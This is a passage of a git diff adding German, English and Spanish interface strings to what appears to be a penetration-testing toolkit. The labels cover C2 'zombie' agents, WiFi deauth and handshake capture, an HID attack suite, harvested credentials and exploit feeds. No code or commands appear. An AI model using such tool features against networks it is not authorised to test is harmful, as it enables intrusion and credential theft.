kann nicht rückgängig gemacht werden.", + "sentinel.eventsCleared": "Ereignisse gelöscht", + "sentinel.noEvents": "Noch keine Ereignisse. Sentinel überwacht Ihr Netzwerk auf Anomalien.", + "sentinel.rules": "Regeln", + "sentinel.devices": "Geräte", + "sentinel.notifiers": "Benachrichtigungen", + "sentinel.statDevices": "Bekannte Geräte", + "sentinel.statAlive": "Aktiv", + "sentinel.statUnread": "Ungelesen", + "sentinel.statEvents": "Ereignisse gesamt", + "sentinel.statRules": "Aktive Regeln", + "sentinel.addRule": "Regel hinzufügen", + "sentinel.noRules": "Keine Regeln konfiguriert.", + "sentinel.ruleLogic": "Logik", + "sentinel.ruleActions": "Aktionen", + "sentinel.enable": "Aktivieren", + "sentinel.disable": "Deaktivieren", + "sentinel.editRule": "Regel bearbeiten", + "sentinel.deleteRule": "Regel löschen", + "sentinel.confirmDeleteRule": "Diese Regel löschen?", + "sentinel.ruleDeleted": "Regel gelöscht", + "sentinel.ruleUpdated": "Regel aktualisiert", + "sentinel.ruleCreated": "Regel erstellt", + "sentinel.ruleName": "Regelname", + "sentinel.triggerType": "Auslösertyp", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Bedingungen", + "sentinel.cancel": "Abbrechen", + "sentinel.save": "Speichern", + "sentinel.nameRequired": "Regelname ist erforderlich", + "sentinel.noDevices": "Noch keine Geräte entdeckt.", + "sentinel.trusted": "Vertraut", + "sentinel.untrusted": "Nicht vertraut", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "Erwartete IPs", + "sentinel.lastSeen": "Zuletzt gesehen", + "sentinel.deviceSaved": "Gerät aktualisiert", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Benutzer", + "sentinel.smtpPass": "SMTP Passwort", + "sentinel.emailFrom": "E-Mail Absender", + "sentinel.emailTo": "E-Mail Empfänger", + "sentinel.saveNotifiers": "Benachrichtigungen speichern", + "sentinel.notifiersSaved": "Benachrichtigungskonfiguration gespeichert", + "sentinel.justNow": "gerade eben", + "sentinel.acknowledge": "Bestätigen", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Aktiviert", + "bifrost.disabled": "Deaktiviert", + "bifrost.activityFeed": "Aktivitätsfeed", + "bifrost.clearActivity": "Löschen", + "bifrost.activityCleared": "Aktivität gelöscht", + "bifrost.noActivity": "Keine Aktivität. Aktivieren Sie Bifrost für WiFi-Aufklärung.", + "bifrost.networks": "Netzwerke", + "bifrost.plugins": "Plugins", + "bifrost.history": "Verlauf", + "bifrost.mood": "Stimmung", + "bifrost.statNetworks": "Netzwerke", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Epochen", + "bifrost.statPeers": "Peers", + "bifrost.noNetworks": "Noch keine Netzwerke entdeckt.", + "bifrost.noPlugins": "Keine Plugins geladen.", + "bifrost.noEpochs": "Noch keine Epochen aufgezeichnet.", + "bifrost.justNow": "gerade eben", + "bifrost.confirmEnable": "Bifrost-Modus aktivieren? WiFi wird in den Monitormodus versetzt — die Netzwerkverbindung geht verloren. Verbinden Sie sich stattdessen über USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Monitormodus Fehlgeschlagen", + "bifrost.monitorFailedHint": "Für Broadcom-Chips (Pi Zero) installieren Sie nexmon. Oder verwenden Sie einen externen USB-WiFi-Adapter.", + "bifrost.nexmonRequired": "Nexmon erforderlich", + "bifrost.nexmonRequiredDesc": "Ihr Broadcom WiFi-Chip benötigt Nexmon-Firmware-Patches für den Monitormodus. Klicken Sie zum Auto-Installieren (~15-25 Min auf Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Nexmon installieren", + "bifrost.nexmonConfirm": "Nexmon-Firmware-Patches installieren? Dies lädt und kompiliert nexmon (~15-25 Min). Internetzugang und Root-Rechte erforderlich.", + "bifrost.nexmonStarted": "Nexmon-Installation gestartet ...", + "bifrost.nexmonInstalling": "Nexmon wird installiert ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID-Angriffs-Suite", + "loki.enable": "Aktivieren", + "loki.enabled_msg": "Loki-Modus aktiviert", + "loki.disabled_msg": "Loki-Modus deaktiviert", + "loki.status_label": "Status", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Aufgaben", + "loki.running": "Läuft", + "loki.running_lc": "läuft", + "loki.idle": "Leerlauf", + "loki.ready": "Bereit", + "loki.not_ready": "Nicht bereit", + "loki.run": "Ausführen", + "loki.save": "Speichern", + "loki.new": "Neu", + "loki.delete": "Löschen", + "loki.cancel": "Abbrechen", + "loki.output": "Ausgabe", + "loki.payloads": "Nutzlasten", + "loki.custom_scripts": "Eigene Skripte", + "loki.jobs": "Aufgaben", + "loki.clear_completed": "Abgeschlossene löschen", + "loki.script": "Skript", + "loki.status_col": "Status", + "loki.started": "Gestartet", + "loki.actions": "Aktionen", + "loki.no_payloads": "Keine eingebauten Nutzlasten", + "loki.no_scripts": "Keine gespeicherten Skripte", + "loki.no_jobs": "Noch keine Aufgaben", + "loki.no_output": "Keine Ausgabe", + "loki.empty_script": "Skript ist leer", + "loki.job_started": "Aufgabe gestartet: {id}", + "loki.run_error": "Skript konnte nicht ausgeführt werden", + "loki.script_name_prompt": "Skriptname:", + "loki.saved": "Skript gespeichert", + "loki.save_error": "Skript konnte nicht gespeichert werden", + "loki.confirm_delete": "Skript '{name}' löschen?", + "loki.quick_placeholder": "Schnelltext hier eingeben...", + "loki.quick_send": "Tippen", + "loki.quick_sent": "Text an Ziel gesendet", + "loki.quick_error": "Text konnte nicht gesendet werden" } \ No newline at end of file diff --git a/web/i18n/en.json b/web/i18n/en.json index 5f90e82..99b90a9 100644 --- a/web/i18n/en.json +++ b/web/i18n/en.json @@ -82,22 +82,40 @@ "settings.tooltip.bruteforce_exhaustive_max_candidates": "Maximum generated candidates for exhaustive bruteforce.", "theme.group.colors": "Colors", "theme.group.surfaces": "Surfaces", + "theme.group.borders": "Borders", + "theme.group.controls": "Controls", "theme.group.layout": "Layout", "theme.token.bg": "Background", + "theme.token.bg2": "Background Alt", "theme.token.ink": "Text Color", + "theme.token.muted": "Muted Text", "theme.token.accent1": "Accent 1 (Acid)", "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.accent": "Accent", + "theme.token.accentAlt": "Accent Alt", "theme.token.danger": "Danger", "theme.token.warning": "Warning", "theme.token.ok": "Success", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Control Panel", + "theme.token.ctrlPanel2": "Control Panel Alt", + "theme.token.btnBg": "Button Background", "theme.token.border": "Border", + "theme.token.borderStrong": "Border Strong", + "theme.token.borderHi": "Border Highlight", + "theme.token.switchTrack": "Switch Track", + "theme.token.switchOnBg": "Switch On BG", + "theme.token.scrollTrack": "Scrollbar Track", + "theme.token.scrollThumb": "Scrollbar Thumb", + "theme.token.glass": "Glass Overlay", "theme.token.radius": "Border Radius", "theme.advanced": "Advanced CSS", "theme.applyRaw": "Apply", "theme.reset": "Reset to Default", + "theme.export": "Export Theme", + "theme.import": "Import Theme", + "theme.importError": "Invalid theme file", "dash.title": "Dashboard", "dash.battery": "Battery", "dash.internet": "Internet", @@ -819,5 +837,417 @@ "api.timeout": "Request timed out", "api.failed": "Request failed", "router.notFound": "Page not found: {{path}}", - "router.errorLoading": "Error loading page: {{message}}" + "router.errorLoading": "Error loading page: {{message}}", + "sched.filterPlaceholder": "Filter (action, MAC, IP, host, service, port...)", + "sched.focusActive": "Focus active", + "sched.compact": "Compact", + "sched.collapse": "Collapse", + "sched.expand": "Expand", + "sched.showSuperseded": "+ superseded", + "sched.hideSuperseded": "- superseded", + "sched.noEntries": "No entries", + "sched.entries": "entries", + "sched.displayMore": "Display more\u2026", + "sched.fetchError": "Queue fetch error", + "sched.cmdFailed": "Command failed", + "sched.noHistory": "No history", + "sched.historyColorCoded": "Rows are color-coded by status.", + "sched.port": "Port", + "sched.service": "Svc", + "sched.eligibleIn": "Eligible in", + "sched.elapsed": "Elapsed", + "sched.due": "due", + "sched.created": "created", + "sched.started": "started", + "sched.retries": "retries", + "sched.retry": "retry", + "sched.priority": "prio", + "studio.autoLayout": "Auto-layout", + "studio.repel": "Repel", + "studio.apply": "Apply", + "studio.help": "Help", + "studio.filterActions": "Filter actions...", + "studio.filterHosts": "Filter host/IP/MAC...", + "studio.total": "total", + "studio.placed": "placed", + "studio.alive": "alive", + "studio.availableActions": "Available actions", + "studio.realHosts": "Real hosts", + "studio.testHosts": "Test hosts", + "studio.createTestHost": "Create test host", + "studio.selectedAction": "Selected action", + "studio.selectNodeToEdit": "Select a node to edit it", + "studio.selectedHost": "Selected host", + "studio.addHost": "Add host", + "studio.fitGraph": "Fit graph", + "studio.saveToDb": "Save to DB", + "studio.importActionsDb": "Import actions DB", + "studio.importStudioDb": "Import studio DB", + "studio.tips": "Tips", + "studio.tipsText": "Drag background to pan, mouse wheel/pinch to zoom, connect ports to link nodes.", + "studio.shortcuts": "Studio shortcuts", + "studio.navigation": "Navigation", + "studio.keyboard": "Keyboard", + "studio.shortcutZoom": "Mouse wheel / pinch: zoom", + "studio.shortcutPan": "Drag canvas background: pan", + "studio.shortcutDragNode": "Drag node: move node", + "studio.shortcutFit": "F: fit graph to viewport", + "studio.shortcutSave": "Ctrl/Cmd + S: save to DB", + "studio.shortcutEsc": "Esc: close menus / sidebars / modals", + "studio.shortcutDelete": "Delete: delete selected node", + "studio.success": "success", + "studio.failure": "failure", + "studio.requires": "requires", + "studio.pinchHint": "Pinch/scroll = zoom, drag = pan, connect ports to create links", + "studio.nodesCount": "nodes", + "studio.linksCount": "links", + "studio.noActionsMatch": "No actions match this filter.", + "studio.noRealHostsMatch": "No real hosts match this filter.", + "studio.noTestHostsYet": "No test hosts yet.", + "studio.saved": "Saved", + "studio.localBackup": "Local backup (DB unavailable)", + "studio.applied": "Applied to runtime", + "studio.applyFailed": "Apply runtime failed", + "studio.autoLayoutApplied": "Auto-layout applied", + "studio.actionUpdated": "Action updated", + "studio.hostUpdated": "Host updated", + "studio.testHostDeleted": "Test host deleted", + "studio.testHostCreated": "Test host created", + "studio.macExists": "MAC already exists", + "studio.deleteTestHost": "Delete this test host?", + "studio.link": "Link", + "studio.from": "From", + "studio.to": "To", + "studio.linkContext": "Choose behavior (trigger or requirement). Presets adapt to node types.", + "studio.mode": "Mode", + "studio.preset": "Preset", + "studio.trigger": "Trigger", + "studio.requirement": "Requirement", + "studio.param1": "Param 1", + "studio.param2": "Param 2", + "studio.preview": "Preview", + "studio.validate": "Validate", + "studio.removeFromCanvas": "Remove from canvas", + "studio.deleteFromCanvas": "Delete from canvas", + "studio.addCondition": "+ Condition", + "studio.addTestHost": "Add test host", + "studio.closePanel": "Close panel", + "studio.openPalette": "Open palette", + "studio.openInspector": "Open inspector", + + "vulns.totalCVEs": "Total CVEs", + "vulns.active": "Active", + "vulns.remediated": "Remediated", + "vulns.hosts": "Hosts", + "vulns.withExploit": "w/ Exploit", + "vulns.kev": "KEV", + "vulns.updateFeeds": "Update Exploit Feeds", + "vulns.sortBy": "Sort by", + "vulns.cvssScore": "CVSS Score", + "vulns.lastSeen": "Last Seen", + "vulns.firstSeen": "First Seen", + "vulns.dateFilter": "Date filter (last seen)", + "vulns.clearDates": "Clear dates", + "vulns.cveView": "CVE View", + "vulns.hostView": "Host View", + "vulns.exploits": "Exploits", + "vulns.lastRefresh": "Last refresh: {{time}}", + "vulns.downloading": "Downloading…", + "vulns.syncingFeeds": "Syncing CISA KEV, Exploit-DB, EPSS…", + "vulns.noSyncYet": "No sync yet — click to update.", + "vulns.lastSync": "Last sync: {{date}} · {{count}} exploits", + "vulns.clickDetails": "click for details", + "vulns.noHostsFound": "No hosts found", + "vulns.vulnsCount": "{{count}} vulns", + "vulns.fixed": "FIXED", + "vulns.maxCvss": "Max CVSS", + "vulns.noExploitData": "No exploit data yet", + "vulns.searchExploits": "Search All Exploits now", + "vulns.filterHistory": "Filter history…", + "vulns.noHistory": "No history entries", + "vulns.pageInfo": "Page {{page}}/{{total}} — {{count}} entries", + "vulns.resultsInfo": "Page {{page}}/{{total}} — {{count}} results", + "vulns.score": "Score", + "vulns.probability": "Probability", + "vulns.percentile": "Percentile", + "vulns.cisaKev": "CISA KEV", + "vulns.cisaKevMsg": "This vulnerability is in the CISA Known Exploited Vulnerabilities catalog.", + "vulns.epss": "EPSS", + "vulns.affectedProducts": "Affected Products", + "vulns.product": "Product", + "vulns.versions": "Versions", + "vulns.exploitsRefs": "Exploits & References", + "vulns.noExploitRecords": "No exploit records in DB yet — use \"Search All Exploits\" to enrich.", + "vulns.references": "References", + "vulns.lastModified": "Last Modified", + "vulns.noEnrichment": "No enrichment data available.", + "vulns.github": "GitHub", + "vulns.rapid7": "Rapid7", + "vulns.nvd": "NVD", + "vulns.mitre": "MITRE", + "vulns.na": "N/A", + "vulns.unknown": "Unknown", + + "dash.auto": "AUTO", + "dash.manual": "MANUAL", + "dash.lvl": "LVL {{level}}", + "dash.on": "ON", + "dash.off": "OFF", + "dash.yes": "YES", + "dash.no": "NO", + "dash.ssid": "SSID", + "dash.ip": "IP", + "dash.gw": "GW", + "dash.dns": "DNS", + "dash.fds": "FDS", + "dash.fix": "Fix", + "dash.sats": "Sats", + "dash.osLabel": "OS", + "dash.arch": "Arch", + "dash.model": "Model", + "dash.waveshare": "Waveshare E-Ink", + "dash.bjorn": "BJORN", + "dash.cpuRam": "CPU/RAM", + "dash.device": "Device", + "dash.equalSinceScan": "= since last scan", + + "netkb.ip": "IP", + "netkb.mac": "MAC", + "netkb.vendor": "Vendor", + "netkb.essid": "ESSID", + "netkb.toggleOffline": "Toggle offline", + "netkb.hasPorts": "Has ports", + "netkb.hasActions": "Has actions", + "netkb.na": "N/A", + "netkb.success": "Success", + "netkb.failed": "Failed", + "netkb.running": "Running", + "netkb.pending": "Pending", + "netkb.expired": "Expired", + "netkb.cancelled": "Cancelled", + "netkb.at": "at", + + "network.unknownHost": "Unknown host", + "network.showHostname": "Show hostname", + "network.d3Unavailable": "D3 library not available for map view.", + "network.portLabel": "Port {{label}}", + "network.clear": "Clear", + + "creds.all": "All", + "creds.copied": "Copied to clipboard!", + "creds.noCredentials": "No credentials", + "creds.credentialsCount": "Credentials: {{count}}", + "creds.searchDots": "Search...", + "creds.downloadCsv": "Download CSV", + "creds.clickToCopy": "Click to copy", + "creds.services": "Services", + + "webenum.searchPlaceholder": "Search host, IP, directory, status…", + "webenum.allHosts": "All Hosts", + "webenum.allStatus": "All Status", + "webenum.allPorts": "All Ports", + "webenum.noResults": "No web enumeration results found", + "webenum.actions": "Actions", + "webenum.open": "Open", + "webenum.perPage": "Per page:", + "webenum.resultCount": "{{count}} result(s)", + "webenum.showingAll": "Showing all {{count}} result(s)", + "webenum.prev": "Prev", + "webenum.next": "Next", + "webenum.pageInfo": "Page {{page}} of {{total}} ({{count}} results)", + "webenum.truncated": "{{count}} (truncated)", + "webenum.openUrl": "Open URL", + "webenum.copyUrl": "Copy URL", + + "files.newFolder": "New Folder", + "files.confirmDeleteMulti": "Delete {{count}} item(s)?", + "files.moveTitle": "Move {{count}} item(s) to...", + "files.moveTo": "Move to...", + "files.switchToList": "Switch to list view", + "files.switchToGrid": "Switch to grid view", + "files.copySuffix": " (copy)", + + "loot.treeView": "Tree View", + "loot.filesCount": "{{count}} files", + + "db.views": "Views", + "db.tables": "Tables", + "db.addRowBtn": "+Row", + "db.csv": "CSV", + "db.json": "JSON", + "db.vacuum": "VACUUM", + "db.truncate": "Truncate", + "db.drop": "Drop", + "db.rowsInfo": "{{shown}} of {{total}} rows", + + "actions.autoClear": "Auto-clear", + "actions.autoClearOn": "Auto-clear ON", + "actions.autoClearOff": "Auto-clear OFF", + "actions.exportLogs": "Export", + "actions.selectAction": "Select an action to see logs", + "actions.waitingLogs": "Waiting for logs...", + "actions.logs.scriptCompleted": "Script completed", + "actions.docs": "Docs", + "actions.preset": "Preset {{n}}", + "actions.byAuthor": "by {{author}}", + + "zombie.cpuRam": "CPU/RAM", + "zombie.connectedToC2": "Connected to C2 event stream", + "zombie.c2ConnectionLost": "C2 event stream connection lost", + "zombie.telemetryReceived": "Agent {{name}} telemetry received.", + "zombie.staleFound": "{{count}} stale agent(s) found (>5min)", + "zombie.staleCheck": "Stale check: {{count}} inactive >5min.", + "zombie.clientGenerated": "Client {{id}} generated", + "zombie.deployStarted": "Deployment to {{host}} started", + "zombie.noAgentsSelected": "No agents selected for command.", + "zombie.loadingFiles": "Loading...", + "zombie.browseCommandSent": "Browse command sent. Check console for output.", + "zombie.browseCommandFailed": "Failed to send browse command", + "zombie.uploadStarted": "File {{name}} upload started.", + "zombie.uploadFailed": "Failed to upload file.", + "zombie.sshHost": "SSH Host", + "zombie.sshUser": "SSH User", + "zombie.sshPass": "SSH Pass", + "zombie.avgCpu": "Avg CPU", + "zombie.avgRam": "Avg RAM", + "zombie.total": "Total", + "zombie.online": "Online", + + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Watchdog", + "sentinel.enabled": "Enabled", + "sentinel.disabled": "Disabled", + "sentinel.eventFeed": "Event Feed", + "sentinel.ackAll": "Ack All", + "sentinel.clearAll": "Clear All", + "sentinel.allAcked": "All events acknowledged", + "sentinel.confirmClear": "Clear all events? This cannot be undone.", + "sentinel.eventsCleared": "Events cleared", + "sentinel.noEvents": "No events yet. Sentinel monitors your network for anomalies.", + "sentinel.rules": "Rules", + "sentinel.devices": "Devices", + "sentinel.notifiers": "Notifiers", + "sentinel.statDevices": "Known Devices", + "sentinel.statAlive": "Alive", + "sentinel.statUnread": "Unread", + "sentinel.statEvents": "Total Events", + "sentinel.statRules": "Active Rules", + "sentinel.addRule": "Add Rule", + "sentinel.noRules": "No rules configured.", + "sentinel.ruleLogic": "Logic", + "sentinel.ruleActions": "Actions", + "sentinel.enable": "Enable", + "sentinel.disable": "Disable", + "sentinel.editRule": "Edit Rule", + "sentinel.deleteRule": "Delete Rule", + "sentinel.confirmDeleteRule": "Delete this rule?", + "sentinel.ruleDeleted": "Rule deleted", + "sentinel.ruleUpdated": "Rule updated", + "sentinel.ruleCreated": "Rule created", + "sentinel.ruleName": "Rule Name", + "sentinel.triggerType": "Trigger Type", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Conditions", + "sentinel.cancel": "Cancel", + "sentinel.save": "Save", + "sentinel.nameRequired": "Rule name is required", + "sentinel.noDevices": "No devices discovered yet.", + "sentinel.trusted": "Trusted", + "sentinel.untrusted": "Untrusted", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "Expected IPs", + "sentinel.lastSeen": "Last seen", + "sentinel.deviceSaved": "Device updated", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP User", + "sentinel.smtpPass": "SMTP Password", + "sentinel.emailFrom": "Email From", + "sentinel.emailTo": "Email To", + "sentinel.saveNotifiers": "Save Notifiers", + "sentinel.notifiersSaved": "Notifier config saved", + "sentinel.justNow": "just now", + "sentinel.acknowledge": "Acknowledge", + + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Enabled", + "bifrost.disabled": "Disabled", + "bifrost.activityFeed": "Activity Feed", + "bifrost.clearActivity": "Clear", + "bifrost.activityCleared": "Activity cleared", + "bifrost.noActivity": "No activity yet. Enable Bifrost to start WiFi recon.", + "bifrost.networks": "Networks", + "bifrost.plugins": "Plugins", + "bifrost.history": "History", + "bifrost.mood": "Mood", + "bifrost.statNetworks": "Networks", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Epochs", + "bifrost.statPeers": "Peers", + "bifrost.noNetworks": "No networks discovered yet.", + "bifrost.noPlugins": "No plugins loaded.", + "bifrost.noEpochs": "No epochs recorded yet.", + "bifrost.justNow": "just now", + "bifrost.confirmEnable": "Enable Bifrost mode? WiFi will be put in monitor mode — network connection will be lost. Connect via USB/Bluetooth/Ethernet instead.", + "bifrost.monitorFailed": "Monitor Mode Failed", + "bifrost.monitorFailedHint": "For Broadcom chips (Pi Zero), install nexmon. Or use an external USB WiFi adapter.", + "bifrost.nexmonRequired": "Nexmon Required", + "bifrost.nexmonRequiredDesc": "Your Broadcom WiFi chip needs nexmon firmware patches for monitor mode. Click below to auto-install (takes ~15-25 min on Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Install Nexmon", + "bifrost.nexmonConfirm": "Install nexmon firmware patches? This will download and compile nexmon from source (~15-25 min). Requires internet access and root privileges.", + "bifrost.nexmonStarted": "Nexmon installation started ...", + "bifrost.nexmonInstalling": "Installing Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID Attack Suite", + "loki.enable": "Enable", + "loki.enabled_msg": "Loki mode enabled", + "loki.disabled_msg": "Loki mode disabled", + "loki.status_label": "Status", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Jobs", + "loki.running": "Running", + "loki.running_lc": "running", + "loki.idle": "Idle", + "loki.ready": "Ready", + "loki.not_ready": "Not Ready", + "loki.not_installed": "Not Installed", + "loki.install_msg": "HID gadget not installed. Install it and reboot to enable Loki.", + "loki.install_btn": "Install HID Gadget & Reboot", + "loki.reboot_confirm": "HID gadget installed. Reboot now to activate?", + "loki.run": "Run", + "loki.save": "Save", + "loki.new": "New", + "loki.delete": "Delete", + "loki.cancel": "Cancel", + "loki.output": "Output", + "loki.payloads": "Payloads", + "loki.custom_scripts": "Custom Scripts", + "loki.jobs": "Jobs", + "loki.clear_completed": "Clear Completed", + "loki.script": "Script", + "loki.status_col": "Status", + "loki.started": "Started", + "loki.actions": "Actions", + "loki.no_payloads": "No built-in payloads", + "loki.no_scripts": "No saved scripts", + "loki.no_jobs": "No jobs yet", + "loki.no_output": "No output", + "loki.empty_script": "Script is empty", + "loki.job_started": "Job started: {id}", + "loki.run_error": "Failed to run script", + "loki.script_name_prompt": "Script name:", + "loki.saved": "Script saved", + "loki.save_error": "Failed to save script", + "loki.confirm_delete": "Delete script '{name}'?", + "loki.quick_placeholder": "Quick type text here...", + "loki.quick_send": "Type", + "loki.quick_sent": "Text sent to target", + "loki.quick_error": "Failed to send text" } diff --git a/web/i18n/es.json b/web/i18n/es.json index ca10488..26a0be6 100644 --- a/web/i18n/es.json +++ b/web/i18n/es.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Error al restaurar valores predeterminados", "theme.group.colors": "Colores", "theme.group.surfaces": "Superficies", + "theme.group.borders": "Bordes", + "theme.group.controls": "Controles", "theme.group.layout": "Diseño", "theme.token.bg": "Fondo", + "theme.token.bg2": "Fondo Alt", "theme.token.ink": "Color de texto", + "theme.token.muted": "Texto atenuado", "theme.token.accent1": "Acento 1 (Ácido)", "theme.token.accent2": "Acento 2 (Cian)", + "theme.token.accent": "Acento", + "theme.token.accentAlt": "Acento Alt", "theme.token.danger": "Peligro", "theme.token.warning": "Advertencia", "theme.token.ok": "Éxito", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Panel control", + "theme.token.ctrlPanel2": "Panel control Alt", + "theme.token.btnBg": "Fondo de botón", "theme.token.border": "Borde", + "theme.token.borderStrong": "Borde fuerte", + "theme.token.borderHi": "Borde resaltado", + "theme.token.switchTrack": "Pista del interruptor", + "theme.token.switchOnBg": "Fondo interruptor activo", + "theme.token.scrollTrack": "Pista de la barra de desplazamiento", + "theme.token.scrollThumb": "Control de la barra de desplazamiento", + "theme.token.glass": "Superposición de cristal", "theme.token.radius": "Radio de borde", "theme.advanced": "CSS avanzado", "theme.applyRaw": "Aplicar", - "theme.reset": "Restablecer", + "theme.reset": "Restablecer valores predeterminados", + "theme.export": "Exportar tema", + "theme.import": "Importar tema", + "theme.importError": "Archivo de tema no válido", "dash.title": "Panel de control", "dash.battery": "Batería", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "La solicitud ha expirado", "api.failed": "La solicitud ha fallado", "router.notFound": "Página no encontrada: {{path}}", - "router.errorLoading": "Error al cargar la página: {{message}}" + "router.errorLoading": "Error al cargar la página: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Vigilante", + "sentinel.enabled": "Activado", + "sentinel.disabled": "Desactivado", + "sentinel.eventFeed": "Eventos", + "sentinel.ackAll": "Confirmar todos", + "sentinel.clearAll": "Borrar todos", + "sentinel.allAcked": "Todos los eventos confirmados", + "sentinel.confirmClear": "¿Borrar todos los eventos? Esta acción es irreversible.", + "sentinel.eventsCleared": "Eventos borrados", + "sentinel.noEvents": "Aún no hay eventos. Sentinel vigila tu red en busca de anomalías.", + "sentinel.rules": "Reglas", + "sentinel.devices": "Dispositivos", + "sentinel.notifiers": "Notificadores", + "sentinel.statDevices": "Dispositivos conocidos", + "sentinel.statAlive": "Activos", + "sentinel.statUnread": "Sin leer", + "sentinel.statEvents": "Eventos totales", + "sentinel.statRules": "Reglas activas", + "sentinel.addRule": "Añadir regla", + "sentinel.noRules": "No hay reglas configuradas.", + "sentinel.ruleLogic": "Lógica", + "sentinel.ruleActions": "Acciones", + "sentinel.enable": "Activar", + "sentinel.disable": "Desactivar", + "sentinel.editRule": "Editar regla", + "sentinel.deleteRule": "Eliminar regla", + "sentinel.confirmDeleteRule": "¿Eliminar esta regla?", + "sentinel.ruleDeleted": "Regla eliminada", + "sentinel.ruleUpdated": "Regla actualizada", + "sentinel.ruleCreated": "Regla creada", + "sentinel.ruleName": "Nombre de regla", + "sentinel.triggerType": "Tipo de activación", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Condiciones", + "sentinel.cancel": "Cancelar", + "sentinel.save": "Guardar", + "sentinel.nameRequired": "El nombre de la regla es obligatorio", + "sentinel.noDevices": "Aún no se han descubierto dispositivos.", + "sentinel.trusted": "De confianza", + "sentinel.untrusted": "No confiable", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IPs esperadas", + "sentinel.lastSeen": "Última vez visto", + "sentinel.deviceSaved": "Dispositivo actualizado", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Usuario", + "sentinel.smtpPass": "SMTP Contraseña", + "sentinel.emailFrom": "Correo remitente", + "sentinel.emailTo": "Correo destinatario", + "sentinel.saveNotifiers": "Guardar notificadores", + "sentinel.notifiersSaved": "Configuración de notificadores guardada", + "sentinel.justNow": "ahora mismo", + "sentinel.acknowledge": "Confirmar", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Activado", + "bifrost.disabled": "Desactivado", + "bifrost.activityFeed": "Feed de actividad", + "bifrost.clearActivity": "Limpiar", + "bifrost.activityCleared": "Actividad limpiada", + "bifrost.noActivity": "Sin actividad. Active Bifrost para iniciar el reconocimiento WiFi.", + "bifrost.networks": "Redes", + "bifrost.plugins": "Plugins", + "bifrost.history": "Historial", + "bifrost.mood": "Estado", + "bifrost.statNetworks": "Redes", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Asocs", + "bifrost.statEpochs": "Épocas", + "bifrost.statPeers": "Pares", + "bifrost.noNetworks": "Aún no se han descubierto redes.", + "bifrost.noPlugins": "No hay plugins cargados.", + "bifrost.noEpochs": "Aún no se han registrado épocas.", + "bifrost.justNow": "ahora mismo", + "bifrost.confirmEnable": "¿Activar el modo Bifrost? El WiFi se pondrá en modo monitor — se perderá la conexión de red. Conéctese por USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Modo Monitor Fallido", + "bifrost.monitorFailedHint": "Para chips Broadcom (Pi Zero), instale nexmon. O use un adaptador WiFi USB externo.", + "bifrost.nexmonRequired": "Nexmon requerido", + "bifrost.nexmonRequiredDesc": "Su chip WiFi Broadcom necesita los parches de firmware nexmon para el modo monitor. Haga clic para auto-instalar (~15-25 min en Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Instalar Nexmon", + "bifrost.nexmonConfirm": "¿Instalar parches de firmware nexmon? Esto descargará y compilará nexmon (~15-25 min). Requiere acceso a internet y privilegios root.", + "bifrost.nexmonStarted": "Instalación de nexmon iniciada ...", + "bifrost.nexmonInstalling": "Instalando Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite de ataque HID", + "loki.enable": "Activar", + "loki.enabled_msg": "Modo Loki activado", + "loki.disabled_msg": "Modo Loki desactivado", + "loki.status_label": "Estado", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Disposición", + "loki.jobs_label": "Trabajos", + "loki.running": "En ejecución", + "loki.running_lc": "en ejecución", + "loki.idle": "Inactivo", + "loki.ready": "Listo", + "loki.not_ready": "No listo", + "loki.run": "Ejecutar", + "loki.save": "Guardar", + "loki.new": "Nuevo", + "loki.delete": "Eliminar", + "loki.cancel": "Cancelar", + "loki.output": "Salida", + "loki.payloads": "Cargas útiles", + "loki.custom_scripts": "Scripts personalizados", + "loki.jobs": "Trabajos", + "loki.clear_completed": "Limpiar completados", + "loki.script": "Script", + "loki.status_col": "Estado", + "loki.started": "Iniciado", + "loki.actions": "Acciones", + "loki.no_payloads": "Sin cargas útiles integradas", + "loki.no_scripts": "Sin scripts guardados", + "loki.no_jobs": "Sin 